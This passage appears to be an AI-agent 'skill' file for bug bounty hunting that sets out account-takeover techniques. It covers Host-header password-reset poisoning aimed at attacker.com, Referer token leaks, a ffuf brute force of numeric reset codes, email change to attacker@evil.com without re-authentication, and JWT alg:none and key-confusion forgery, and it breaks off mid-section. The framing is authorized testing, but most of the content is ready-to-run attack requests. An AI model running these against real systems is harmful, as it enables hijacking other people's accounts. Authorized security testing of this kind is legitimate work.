$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-atoHunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass
| 1 | ## 13. ATO — ACCOUNT TAKEOVER TAXONOMY |
| 2 | > 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO. |
| 3 | |
| 4 | ### Path 1: Password Reset Poisoning (Host-Header) |
| 5 | ```bash |
| 6 | POST /forgot-password HTTP/1.1 |
| 7 | Host: attacker.com # primary Host swap |
| 8 | # OR keep real Host and add one of: |
| 9 | X-Forwarded-Host: attacker.com |
| 10 | X-Host: attacker.com |
| 11 | X-Forwarded-Server: attacker.com |
| 12 | # OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com |
| 13 | |
| 14 | email=victimB@company.com |
| 15 | ``` |
| 16 | The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof. |
| 17 | **False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header. |
| 18 | |
| 19 | ### Path 2: Reset Token in Referer / Open-Redirect Leak |
| 20 | ``` |
| 21 | GET /reset-password?token=ABC123 |
| 22 | → page loads third-party resource: <script src="https://analytics.com/t.js"> |
| 23 | → browser sends Referer: https://target.com/reset-password?token=ABC123 |
| 24 | → token exfiltrated to every off-origin host the page calls |
| 25 | ``` |
| 26 | Also test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence. |
| 27 | |
| 28 | ### Path 3: Predictable / Weak Reset Tokens |
| 29 | ```bash |
| 30 | # 6-digit numeric OTP-style reset code, no rate limit: |
| 31 | ffuf -u "https://target.com/api/reset/verify" -X POST \ |
| 32 | -H "Content-Type: application/json" \ |
| 33 | -d '{"email":"victimB@company.com","code":"FUZZ"}' \ |
| 34 | -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5 |
| 35 | # time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable |
| 36 | ``` |
| 37 | **Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding. |
| 38 | |
| 39 | ### Path 4: Token No-Expiry / Reuse / Cross-Account |
| 40 | ``` |
| 41 | Expiry: request token → wait 2h → still valid? = bug |
| 42 | Reuse: use token once → use again → still valid? = bug |
| 43 | Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated) |
| 44 | Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset |
| 45 | ``` |
| 46 | |
| 47 | ### Path 5: Email Change Without Re-Auth |
| 48 | ```bash |
| 49 | PUT /api/user/email HTTP/1.1 |
| 50 | Cookie: session=ATTACKER_A_SESSION |
| 51 | {"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm |
| 52 | ``` |
| 53 | If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth. |
| 54 | |
| 55 | ### Path 6: JWT Manipulation |
| 56 | ```bash |
| 57 | # (a) alg:none — strip the signature, set header alg to none |
| 58 | python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))" |
| 59 | # send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature |
| 60 | # |
| 61 | # (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret |
| 62 | curl -s https://target.com/.well-known/jwks.json |